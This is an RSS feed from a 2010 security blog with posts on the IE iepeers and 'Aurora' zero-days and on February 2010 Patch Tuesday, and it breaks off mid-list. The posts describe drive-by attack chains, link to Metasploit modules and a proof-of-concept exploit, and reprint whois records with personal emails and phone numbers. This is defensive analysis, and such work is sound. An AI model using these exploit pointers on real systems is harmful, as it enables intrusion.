<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Praetorian Prefect &#187; Remote Exploit</title>
	<atom:link href="http://praetorianprefect.com/archives/tag/remote-exploit/feed/" rel="self" type="application/rss+xml" />
	<link>http://praetorianprefect.com</link>
	<description>Information security, a little slower...a little deeper</description>
	<lastBuildDate>Thu, 29 Jul 2010 16:38:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>IEPeers &#8211; A New Internet Explorer Zero Day Vulnerability</title>
		<link>http://praetorianprefect.com/archives/2010/03/iepeers-a-new-internet-explorer-zero-day-vulnerability/</link>
		<comments>http://praetorianprefect.com/archives/2010/03/iepeers-a-new-internet-explorer-zero-day-vulnerability/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 23:01:30 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Remote Exploit]]></category>
		<category><![CDATA[aurora]]></category>
		<category><![CDATA[drive by download]]></category>
		<category><![CDATA[Internet Explorer]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Vulnerability]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3511</guid>
		<description><![CDATA[We posted an aside yesterday referencing <a href="http://blogs.technet.com/msrc/archive/2010/03/09/security-advisory-981374-released.aspx">Microsoft's recent blog post</a> for <a href="http://www.microsoft.com/technet/security/advisory/981374.mspx">new security advisory 981374</a> referencing a new zero day vulnerability in Internet Explorer versions 6 and 7. New details have emerged since, and the exploit has moved from being what was described as part of "limited targeted attacks" to being widely accessible and <a href="http://www.rec-sec.com/exploits/msf/ie_iepeers_pointer.rb">available as a new module for the Metasploit framework</a>.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/ie_burning.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/ie_burning-150x150.jpg" alt="ie_burning" title="ie_burning" width="150" height="150" class="alignleft size-thumbnail wp-image-3526" /></a></p>

<p>We posted an aside yesterday citing <a href="http://blogs.technet.com/msrc/archive/2010/03/09/security-advisory-981374-released.aspx">Microsoft&#8217;s recent blog post</a> for <a href="http://www.microsoft.com/technet/security/advisory/981374.mspx">new security advisory 981374</a> referencing a new zero day vulnerability in Internet Explorer versions 6 and 7. New details have emerged since, and the exploit has moved from being what was described as part of &#8220;limited targeted attacks&#8221; to being widely accessible and <a href="http://www.rec-sec.com/exploits/msf/ie_iepeers_pointer.rb">available as a new module for the Metasploit framework</a>.</p>

<p>The major concern as always with vulnerabilities like this one is that the user needs only to visit a web site hosting the exploit to have their computer infected (there is no visible sign of a download or other user interaction required).</p>

<p>The vulnerability is a use after free vulnerability (memory is deallocated but then later accessed causing unexpected results such as a crash or arbitrary code execution) where an invalid reference is made to a freed pointer in the file iepeers.dll. This type of code error is fairly common, this is the second major instance of this type of error in Internet Explorer recently (with the well publicized <a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">&#8216;Google Aurora&#8217; attack</a> being associated with a similar type of code defect in the popular browser).</p>

<p>In terms of impact, together these two versions of IE account for approximately 20% of the browser market share. Microsoft has referenced protected mode, enabling Data Execution Prevention (DEP), and not running as a high privilege user (admin) as possible mitigating steps. While always a good idea, we&#8217;ve seen in the past methods that allow both DEP and protected mode to be bypassed. In terms of user privileges, its never a good idea to browse the Internet as a high privilege user, however user escalation vulnerabilities can be employed by the attacker once access is gained to the computer.  The net of this is that the most effective mitigations available are to, if you are very concerned, temporarily use a different browser and that a patch be made available in a timely manner by Microsoft.</p>

<h3>The Exploit</h3>

<p>As <a href="http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/">provided by Trancer</a> (Moshe Ben Abu) with modifications to the original that unobfusticate portions of code and remove the malware payload:</p>

<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/ie_peers.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/ie_peers.jpg" alt="ie_peers" title="ie_peers" width="751" height="518" class="alignnone size-full wp-image-3598" /></a>
<br /></p>

<h3>The Attack</h3>

<p>The specific attack noticed on a web site (now down) called Topix21century.com occurs as follows:</p>

<ul>
<li>A user visits the web site, and a file called notes.exe or svohost.exe is downloaded and executed (drive by download).</li>
<li>This executable creates two copies of itself in the /temp directory and drops a .dll file which is then injected into the process for Internet Explorer, providing back door remote access to the computer for the attacker.</li>
<li>Once the attacker is in the system, he or she can perform actions as the user including attempting to escalate privileges, downloading files, etc.. </li>
<li>Activity was noted by McAfee where the infected system attempts to create an SSL connection to communicate with the domain: notes.topix21century.com.</li>
</ul>

<h3>Topix21century.com</h3>

<p>The only references to this topix21century.com site we noted are links in Japanese language forums referencing pictures of women in the Japanese Self-Defense Force.</p>

<p>The site is hosted on ISP GoDaddy, a geolocation lookup on the IP (68.178.232.100) shows a location of Scottsdale, Arizona.</p>

<p>The whois for the site hosting the exploit is as follows:</p>

<pre><code>Registrant:
   jack lee
   13block
   LA, California 55462
   United States

   Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)
   Domain Name: TOPIX21CENTURY.COM
      Created on: 06-Mar-10
      Expires on: 06-Mar-11
      Last Updated on: 06-Mar-10

   Administrative Contact:
      lee, jack  robertwanger@aol.com
      13block
      LA, California 55462
      United States
      (818) 581-6872      Fax -- 

   Technical Contact:
      lee, jack  robertwanger@aol.com
      13block
      LA, California 55462
      United States
      (818) 581-6872      Fax -- 

   Domain servers in listed order:
      NS17.DOMAINCONTROL.COM
      NS18.DOMAINCONTROL.COM
</code></pre>

<p>A similar registrar entry is listed for the domain hotgreenlight.com, currently a parked domain:</p>

<pre><code>Registrant:
   thomason lee
   12block
   LA, California 95512
   United States

   Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)
   Domain Name: HOTGREENLIGHT.COM
      Created on: 18-Dec-09
      Expires on: 18-Dec-10
      Last Updated on: 18-Dec-09

   Administrative Contact:
      lee, thomason  robert.wanger@hotmail.com
      12block
      LA, California 95512
      United States
      (626) 395-6544      Fax -- 

   Technical Contact:
      lee, thomason  robert.wanger@hotmail.com
      12block
      LA, California 95512
      United States
      (626) 395-6544      Fax -- 

   Domain servers in listed order:
      NS61.DOMAINCONTROL.COM
      NS62.DOMAINCONTROL.COM
</code></pre>

<h3>McAfee and Blame? (Update 03/11)</h3>

<p>For some silly reason, McAfee Labs is eating some blame over being transparent and informative in their Avert Labs post on Tuesday. When Israeli security researcher Moshe Ben Abu (who is a legitimate security researcher not some shadowy underworld black hat) noticed the post had a URL reference to Topix21century.com, he went and had a look at the site, analyzed how the exploit worked, and made a contribution to the Metasploit project detailing how the exploit functions.</p>

<p>Or put another way, he analyzed <b>an existing exploit being used by attackers</b> and took the time to explain it. He didn&#8217;t invent it, use it to compromise computers, or any other related black hat activity. Some will argue that he amplified its effect, something that would require an entire blog post to dispute, so we won&#8217;t get into it here.</p>

<p>Ryan Naraine highlights this flow, but passes no judgment on it in an article on <a href="http://blogs.zdnet.com/security/?p=5666">ZD Net</a>. Unfortunately fellow CNET journalist Elinor Mills <a href="http://news.cnet.com/8301-27080_3-10467673-245.html">takes it a step further</a>, suggesting by inference (by asking McAfee to &#8220;respond&#8221;) that the anti-virus company has some culpability here, to which McAfee responded:</p>

<p><i>&#8220;McAfee Labs does not support the release of exploit code, particularly in advance of a security patch being made available. We regularly sanitize blog content to prevent providing information that might assist attackers, while at the same time providing a service to customers and the security community to help improve protection levels,&#8221; the spokesman said in a statement via e-mail. &#8220;The post in question did not contain enough information to directly lead anyone to exploit code. However, we regret that in this unique situation the post did contain details that may have given exploit writers a starting point to hunt for exploit code. Future blog posts will be subject to additional sanitization.&#8221;</i></p>

<p>Such &#8220;sanitization&#8221;, a great Orwellian word, means that blog posts will be slower to publish (going through further &#8216;review&#8217; cycles) and contain a less complete picture of what has happened. Interestingly, since McAfee does not have the Amazing Kreskin working for them, they get information like everyone else, by having customers or related parties share it with them (presumably in un-sanitized form).</p>

<p>For anyone who hangs around in black/gray hat discussion forums, you don&#8217;t see Plato&#8217;s dialogues going on in there, but you do note that the yin side of the information security paradigm is pretty good at disseminating vulnerability information post discovery.</p>

<p>Worse yet, the response is contradictory, stating on one hand that the information in the post was appropriate and did not assist &#8220;attackers&#8221; (Abu is still not an attacker, so assuming they mean groups working off the Metasploit module), but then reverses itself and says they regret the post and will &#8217;sanitize&#8217; more in the future.</p>

<p>The problem is that the analysis of the exploit had a lot more to do with the analytical talent of Abu and not a whole lot to do with the somewhat refreshing transparency that has marked McAfee&#8217;s blogs since the Google Aurora incident. Unfortunately, looking at the response above, this period of valuable content may be at this corporate censored end.</p>

<p>Further, as Abu himself points out, he would have found the exploit code anyway regardless of any McAfee post.</p>

<h3>Finally</h3>

<p>The timing of this could be better for Microsoft, in that this closely follows the Aurora incident with Google that played out so publicly, and the defect is a nearly identical type of problem. That said, the saving grace for Microsoft in the retail market is that the IE 8 code is stated to not be affected, and Redmond would prefer you upgrade to the latest and greatest anyway.</p>

<p>The anti-virus vendors largely have the original payload on this one figured out, but unfortunately the payload can be changed as the infection vector is the thing to worry about. For that to be corrected, Microsoft will have to issue a patch.  You do have the option of temporarily using another browser, or alternatively upgrading to IE version 8, which is currently reported to not be affected.</p>

<p>This advice is reasonable for the home user, however upgrading the browser on a large corporate network is no small thing. For that reason we advise waiting for the patch, and applying it within a shortened cycle, as in terms of vulnerabilities, remote browser exploits that require no user interaction are somewhat critical problems. As always, users should avoid links to sites they&#8217;re not familiar with, but in practice this is very difficult as almost everyone is susceptible to some form of an effective social engineering trick (a targeted phishing e-mail or IM seemingly from a friend and so forth).</p>

<p>Regarding the tempest in a teapot around the the McAfee Avert Labs blog post by Craig Schmugar and the responses of a tired drumbeat of worn out points around responsible disclosure, its time for some in the security industry to grow up a little bit. Transparency and the near free flow of shared information are the only way the defensive side of information security can hope to catch up to the attackers.</p>

<h3>References</h3>

<ul>
<li><a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0806">CVE-2010-0806</a></li>
<li><a href="http://osvdb.org/show/osvdb/62810">OSVDB 62810</a></li>
<li><a href="http://www.microsoft.com/technet/security/advisory/981374.mspx">MSFT Security Advisory 981374</a></li>
<li><a href="http://www.avertlabs.com/research/blog/index.php/2010/03/09/targeted-internet-explorer-0day-attack-announced-cve-2010-0806/">Targeted Internet Explorer Zero-Day &#8211; McAfee Labs</a></li>
<li><a href="http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/">Microsoft Internet Explorer iepeers.dll use-after-free exploit</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">The &#8220;Aurora&#8221; IE Exploit Used Against Google in Action</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/windows-smb-crash-video/">Windows 7 SMB Kernel Crash Video</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/juniper-kernel-crash-scapy-code/">Juniper Kernel Crash &#8211; scapy Code</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/junos-juniper-kernel-crash-video/">JUNOS (Juniper) Kernel Crash Video</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/03/iepeers-a-new-internet-explorer-zero-day-vulnerability/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>February&#8217;s Patch Tuesday</title>
		<link>http://praetorianprefect.com/archives/2010/02/februarys-patch-tuesday/</link>
		<comments>http://praetorianprefect.com/archives/2010/02/februarys-patch-tuesday/#comments</comments>
		<pubDate>Tue, 09 Feb 2010 22:56:29 +0000</pubDate>
		<dc:creator>Simon Price</dc:creator>
				<category><![CDATA[Patch Management]]></category>
		<category><![CDATA[ActiveX]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[patch tuesday]]></category>
		<category><![CDATA[Remote Exploit]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3305</guid>
		<description><![CDATA[Today is patch Tuesday for February 2010, and it marks a fairly busy patch cycle for Microsoft, who released thirteen updates today. In late January, there was an out-of-band release for two critical patches, in response to the high profile issue around the Internet Explorer Aurora exploit. This makes a total of fifteen total patches between since January's patch Tuesday.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/02/msft_logo1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/02/msft_logo1-150x150.jpg" alt="msft_logo" title="msft_logo" width="150" height="150" class="alignleft size-thumbnail wp-image-3328" /></a></p>

<p>Today is patch Tuesday for February 2010, and it marks a fairly busy patch cycle for Microsoft, who released thirteen updates today. In late January, there was an out-of-band release for two critical patches, in response to the high profile issue around the Internet Explorer Aurora exploit. This makes a total of fifteen total patches between since January&#8217;s patch Tuesday.</p>

<hr />

<p><strong>ID:</strong> MS10-006<br />
<strong>Title:</strong> Vulnerabilities in SMB Client Could Allow Remote Code Execution<br />
<strong>Microsoft Severity:</strong> Critical<br /></p>

<p><strong>Summary:</strong> The update addresses a pool corruption issue and a race condition issue with the Server Message Blocks (SMB) client. The SMB client is responsible for client requests to network file shares. An attacker can obtain remote execution by hosting and directing a user to a malicious SMB share.<br /></p>

<p><strong>Praetorian&#8217;s Recommendation:</strong> The attack requires the client to establish an SMB connection outbound. If you enforce proper egress rules on your firewall, blocking outbound SMB traffic, you are mitigating external threats and the update is less critical. If you allow all ports outbound, apply this patch across all Windows versions as soon as possible.<br /></p>

<hr />

<p><strong>ID:</strong> MS10-007<br />
<strong>Title:</strong> Vulnerability in Windows Shell Handler Could Allow Remote Code Execution<br />
<strong>Microsoft Severity:</strong> Critical<br /></p>

<p><strong>Summary:</strong> A validation input bug exists in the ShellExecute API in Windows 2000, Windows XP, and Windows Server 2003. The vulnerability can allow attackers to execute code as the logged-in user.<br /></p>

<p><strong>Praetorian&#8217;s Recommendation:</strong> For Windows XP, Windows 2000, and Windows Server 2003, update as soon as possible as this vulnerability allows for remote code execution and there are no workarounds outside of the update. For Windows Vista, Windows 7, and Windows Server 2008, please see MS10-002.<br /></p>

<hr />

<p><strong>ID:</strong> MS10-008<br />
<strong>Title:</strong> Cumulative Security Update of ActiveX Kill Bit<br />
<strong>Microsoft Severity: Critical</strong><br /></p>

<p><strong>Summary:</strong> A vulnerability in the Data Analyzer Active-X Control can lead to remote execution. An attacker can host a malicious website to exploit the vulnerability and execute code with the privileges of the logged-in user. In addition, this update includes several kill bits (prevention of loading the ActiveX control) recommended by software vendors, such as Symantec, Google, and Facebook.<br /></p>

<p><strong>Praetorian&#8217;s Recommendation:</strong> Update Windows XP and Windows 2000 as soon as possible. Server platforms have tighter default browsing restrictions, but should still be updated during your next server patch cycle, especially in Terminal Server / Citrix environments. There is a registry setting available to prevent the browser from instantiating the COM object (known as setting the kill bit), but this requires entering the Class ID of the object, therefore the simpler approach of installing the update is recommended.<br /></p>

<hr />

<p><strong>ID:</strong> MS10-009<br />
<strong>Title:</strong> Vulnerabilities in Windows TCP/IP Could Allow Remote Code Execution<br />
<strong>Microsoft Severity:</strong> Critical<br /></p>

<p><strong>Summary:</strong> This update addresses several issues in Windows TCP/IP. Two of them a vulnerabilities in ICMPv6 which allow remote code execution, one is a vulnerability when using custom network drivers that support header MDL fragmentation, and lastly a denial of service vulnerability in TCP/IP due to mishandling malformed selective acknowledgement (SACK) packets. These vulnerabilities affect Windows Vista and Windows Server 2008 (R1 only).<br /></p>

<p><strong>Praetorian&#8217;s Recommendation:</strong> Microsoft calls this update critical due to the remote execution but there are many &#8220;ifs&#8221;. The ICMPv6 vulnerabilities can only be affected if you allow ICMPv6 traffic through your firewall and if your network infrastructure supports IPv6 or the tunneling of IPv6 over the IPv4 network. The incorrect handling of malformed SACK packets causes a denial of service. An attacker would have to host a service to accept the TCP connection, such as a website, and send the malformed SACK packet to the connecting client. With these caveats, the rating should be moderate or important. If you meet the requirements for the ICMPv6 vulnerabilities, then you should update as soon as possible.<br /></p>

<hr />

<p><strong>ID:</strong> MS10-013<br />
<strong>Title:</strong> Vulnerability in Microsoft DirectShow Could Allow Remote Code Execution<br />
<strong>Microsoft Severity:</strong> Critical<br /></p>

<p><strong>Summary:</strong> A vulnerability exists in the way that DirectShow parses AVI files. An attacker can lead a victim via phishing techniques or a malicious website to open a specially crafted AVI file. The attacker can gain remote execution with the same rights as the logged-in user.<br /></p>

<p><strong>Praetorian&#8217;s Recommendation:</strong> All versions of Windows are affected by this vulnerability and should be patched as soon as possible. Since it is less likely that AVI files would be played on server platforms, the workstations and terminal server / Citrix environments should be the priority.<br /></p>

<hr />

<p><strong>ID:</strong> MS10-003<br />
<strong>Title:</strong> Vulnerability in Microsoft Office (MSO) Could Allow Remote Code Execution<br />
<strong>Microsoft Severity:</strong> Important</p>

<p><strong>Summary:</strong> A vulnerability exists in Office XP and Office 2004 for Mac which can lead to remote code execution. A victim would need to open a malicious Office file to be attacked.<br /></p>

<p><strong>Praetorian&#8217;s Recommendation:</strong> This is rated critical due to the remote code execution. Vulnerabilities like this remind us how important user awareness training is for firms. A victim would have to open an Office file that is sent via email by an attacker or hosted on a malicious site. In a browser, the user would be prompted if they want to open the Office file in cases where they are sent a link or redirected. User awareness is important in that users must be trained not to open attachments sent from unknown sources. The criticality of the update may depend on how diligent your users are in prompting IT support before opening suspicious content. Note that only Office XP and Office 2004 for Mac are affected.<br /></p>

<hr />

<p><strong>ID:</strong> MS10-004<br />
<strong>Title:</strong> Vulnerabilities in Microsoft Office PowerPoint Could Allow Remote Code Execution<br />
<strong>Microsoft Severity:</strong> Important<br /></p>

<p><strong>Summary:</strong> This update addresses six remote code execution vulnerabilities in PowerPoint versions included in Office XP, Office 2003, and Office 2004 for Mac.<br /></p>

<p><strong>Praetorian&#8217;s Recommendation:</strong> Similar to MS10-003, this is rated critical due to remote code execution. The victim would need to open a PowerPoint document with an affected version to be compromised. In environments where these versions are in use and users are likely to open PowerPoint files from unknown websites or emails, the recommendation is to patch as soon as possible.<br /></p>

<hr />

<p><strong>ID:</strong> MS10-010<br />
<strong>Title:</strong> Vulnerability in Windows Server 2008 Hyper-V Could Allow Denial of Service<br />
<strong>Microsoft Severity:</strong> Important<br /></p>

<p><strong>Summary:</strong> This update addresses a denial of service vulnerability in Hyper-V in Windows 2008 64-bit and Windows 2008 R2 Server versions. The denial of service affects the host operating system, which in turn would bring down any guests.<br /></p>

<p><strong>Praetorian&#8217;s Recommendation:</strong> The recommendation is to apply the patch during your next patch cycle. This vulnerability would be difficult to exploit in properly managed server environments and would require valid credentials to the Hyper-V server.<br /></p>

<hr />

<p><strong>ID:</strong> MS10-011<br />
<strong>Title:</strong> Vulnerability in Windows Client/Server Run-time Subsystem Could Allow Elevation of Privilege<br />
<strong>Microsoft Severity:</strong> Important<br />
<strong>My Severity:</strong><br /></p>

<p><strong>Summary:</strong> This update addresses a bug in CSRSS (Client/Server Run-time Subsystem) which leads to local privilege elevation.</p>

<p><strong>Praetorian&#8217;s Recommendation:</strong>  The potential with this vulnerability is for a user who has credentials and is logged in can gain kernel or system level privileges. The vulnerability can not be executed remotely. This update can be included in your normal patch cycle and is not deemed critical.</p>

<hr />

<p><strong>ID:</strong> MS10-012<br />
<strong>Title:</strong> Vulnerabilities in SMB Server Could Allow Remote Code Execution<br />
<strong>Microsoft Severity:</strong> Important<br /></p>

<p><strong>Summary:</strong> This update addresses four issues in the SMB protocol across all versions of Windows. The Pathname Overflow vulnerability can lead to remote code execution but requires authentication. The memory corruption and null pointer vulnerability can lead to denial of service, and the NTLM authentication lack of entropy can lead to unauthenticated elevation of privileges.<br /></p>

<p><strong>Praetorian&#8217;s Recommendation:</strong> Keeping patches up to date is important in any environment, but these SMB updates provide a very important reminder that egress firewall rules should be just as important to firms as ingress rules. The SMB protocol (port 445) as a best practice should be blocked inbound and outbound. Many of the recent SMB vulnerabilities affect the SMB client, which means the attacker will direct the victim to attampt a SMB client connection to a malicious server. This is not possible if your firewall blocks SMB outbound.<br /></p>

<hr />

<p><strong>ID:</strong> MS10-014<br />
<strong>Title:</strong> Vulnerability in Kerberos Could Allow Denial of Service<br />
<strong>Microsoft Severity:</strong> Important<br />
<strong>My Severity:</strong> <br /></p>

<p><strong>Summary:</strong> This update addresses a denial of service vulnerability due to improper handling of Ticket-Granting-Ticket renewal requests by a client on a remote, non-Windows realm in a mixed-mode Kerberos implementation. Only Windows Server operating systems (2000, 2003, 2008) are affected and only domain controllers.<br /></p>

<p><strong>Praetorian&#8217;s Recommendation:</strong> This vulnerability requires the client sending the malformed request to be on a remote and non-Windows kerberos realm, which is very a specific setup. If your environment has a non-Windows based kerberos realm, this update can be included as part of your regular patch cycle, and is not critical for immediate action. <br /></p>

<hr />

<p><strong>ID:</strong> MS10-015<br />
<strong>Title:</strong> Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege<br />
<strong>Microsoft Severity:</strong>Important<br /></p>

<p><strong>Summary:</strong> This update addresses two issues in the Windows kernel affecting all version of Windows except Windows 7 64-bit and Windows Server R2. The vulnerability leads to elevation of privileges.<br /></p>

<p><strong>Praetorian&#8217;s Recommendation:</strong> A user must be authenticated to with valid logon credentials to exploit this vulnerability; a remote or anonymous exploit is not possible. This update can be included as part of your regular patch cycle, and is not critical for immediate action</p>

<hr />

<p><strong>ID:</strong> MS10-005<br />
<strong>Title:</strong> Vulnerability in Microsoft Paint Could Allow Remote Code Execution<br />
<strong>Microsoft Severity:</strong> Moderate<br /></p>

<p><strong>Summary:</strong> This update addresses a vulnerability in MS Paint which can lead to remote code execution. Windows 200, Windows XP, and Windows Server 2003 are affected. A malicious JPEG can be crafted to exploit this vulnerability.<br /></p>

<p><strong>Praetorian&#8217;s Recommendation:</strong> By default, Windows uses the Windows Picture and Fax Viewer when opening JPEG files. An attacker would need to convince the user to open the specific malicious JPEG file in Microsoft Paint.<br /></p>

<hr />

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/02/februarys-patch-tuesday/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>The &#8220;Aurora&#8221; IE Exploit Used Against Google in Action</title>
		<link>http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/</link>
		<comments>http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/#comments</comments>
		<pubDate>Sat, 16 Jan 2010 00:42:41 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Remote Exploit]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[Internet Explorer]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[Microsoft]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3065</guid>
		<description><![CDATA[The <a href="http://www.computerworld.com/s/article/9144844/Hackers_used_IE_zero_day_not_PDF_in_China_Google_attacks?source=toc">big news</a> hit earlier this week, the attack vector that allowed bad actors presumably from China into the networks of Google, Juniper, Adobe, and some 30 other firms was an Internet Explorer zero day, a use after free vulnerability on an invalid pointer reference affecting IE 6, 7, and 8 but only used in IE 6 according to Microsoft. Per Microsoft's <a href="http://www.microsoft.com/technet/security/advisory/979352.mspx">Advisory 979352</a>: <i>"In a specially-crafted attack, in attempting to access a freed object, Internet Explorer can be caused to allow remote code execution.</i>. Earlier today this entry from yesterday <a href="http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&#38;type=js">at Wepawet</a> (an online analysis engine for malware) was pointed out to H.D. Moore, and <a href="http://blog.metasploit.com/2010/01/reproducing-aurora-ie-exploit.html">within hours Metasploit</a> has an exploit of the vulnerability integrated. McAfee has confirmed that the <a href="http://siblog.mcafee.com/cto/%E2%80%9Caurora%E2%80%9D-exploit-in-google-attack-now-public/">exploit is out and the same one</a> they saw during the investigation. The video below demonstrates how crackers gained access to the corporate networks of Google, et al. using this zero day attack.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/01/google_borealis.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/01/google_borealis.jpg" alt="google_borealis" title="google_borealis" width="190" height="117" class="alignleft size-full wp-image-3069" /></a></p>

<p>The <a href="http://www.computerworld.com/s/article/9144844/Hackers_used_IE_zero_day_not_PDF_in_China_Google_attacks?source=toc">big news</a> hit earlier this week that the attack vector that allowed bad actors presumably from China into the networks of Google, Juniper, Adobe, and some 29 other firms was an Internet Explorer zero day, a use after free vulnerability on an invalid pointer reference affecting IE 6, 7, and 8 but only used by attackers on IE 6 according to Microsoft. Per Microsoft&#8217;s <a href="http://www.microsoft.com/technet/security/advisory/979352.mspx">Advisory 979352</a>: <i>&#8220;In a specially-crafted attack, in attempting to access a freed object, Internet Explorer can be caused to allow remote code execution</i>. Earlier today this entry from yesterday <a href="http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&amp;type=js">at Wepawet</a> (an online analysis engine for malware) was pointed out to H.D. Moore, and <a href="http://www.metasploit.com/redmine/projects/framework/repository/revisions/8136/entry/modules/exploits/windows/browser/ie_aurora.rb">within hours Metasploit</a> has an exploit of the vulnerability integrated. McAfee has confirmed that the <a href="http://siblog.mcafee.com/cto/%E2%80%9Caurora%E2%80%9D-exploit-in-google-attack-now-public/">exploit is out and the same one</a> they saw during the investigation. The video below demonstrates how crackers initially gained access to the corporate networks of Google, et al. using this zero day attack.</p>

<h3>Here It Is</h3>

<p>The video below demonstrates how Google and the rest have been, according to most news reports, exploited via the &#8220;Aurora&#8221; vulnerability in Internet Explorer, and had their &#8220;intellectual property&#8221; taken.</p>

<p>In the video you will see Metasploit set up a listening session, set up a web site that serves up the malicious code, and watch as an unsuspecting user visits the web site, triggers the attack that uses the IE vulnerability, and unknowingly opens a connection to a computer owned by the attacker. The attacker then lists the user&#8217;s processes, and elects to kill Notepad where the user was working on an important document. IE 6.0 is used, as this is the version Microsoft references as having been used in the &#8220;targeted attacks&#8221; on some 30+ U.S. companies.</p>

<p>A silly example for demonstration to be sure, but once the backdoor is open to the user&#8217;s PC the attacker can use it as a pivot point for other attacks against the internal network, escalate his or her privileges, take information off the PC, basically do anything the user can do.</p>

<p><object width="750" height="333"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=8771582&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=8771582&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="750" height="333"></embed></object>
<br /></p>

<h3>The Vector</h3>

<p>The attack scenario is that users were pointed to a web site (probably through a targeted Spam e-mail, an attack called spear phishing) containing a JavaScript that references this invalid pointer and injects the included shell code. The code below was released publicly yesterday.</p>

<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/01/aurora_vuln.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/01/aurora_vuln.jpg" alt="aurora_vuln" title="aurora_vuln" width="752" height="1120" class="alignleft size-full wp-image-3419" /></a>
<br /></p>

<h3>Update</h3>

<ul>
<li>Ahmed Obied has published a clean python version of the exploit (opens your Windows Calculator) for testing also: <a href='http://praetorianprefect.com/wp-content/uploads/2010/01/ie_aurora.py_.txt'>ie_aurora.py</a>.</li>
<li><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0249">CVE-2010-0249</a> has been opened for this issue.</li>
</ul>

<h3>Finally</h3>

<p><i>&#8220;At this time, we are aware of limited, active attacks attempting to use this vulnerability against Internet Explorer 6. We have not seen attacks against other affected versions of Internet Explorer.&#8221;</i> &#8211; Microsoft.</p>

<p>This situation has the potential to change rapidly now that it appears the exploit has been found. Microsoft last patched a vulnerability off cycle in July of 2009, they could elect to pursue the same response here.</p>

<p>Or as McAfee <a href="http://www.avertlabs.com/research/blog/index.php/2010/01/15/operation-aurora-leading-to-other-threats/">correctly opines</a>: <i>&#8220;What started out as a sophisticated targeted attack is likely to lead to large-scale attacks on vulnerable Microsoft Internet Explorer users.&#8221;</i></p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/03/iepeers-a-new-internet-explorer-zero-day-vulnerability/">IEPeers &#8211; A New Internet Explorer Zero Day Vulnerability</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/scareware-purveyors-spammers-and-crooks-take-advantage-of-haiti-earthquake/">Scareware Purveyors, Spammers, and Crooks Take Advantage of Haiti Earthquake</a></li>
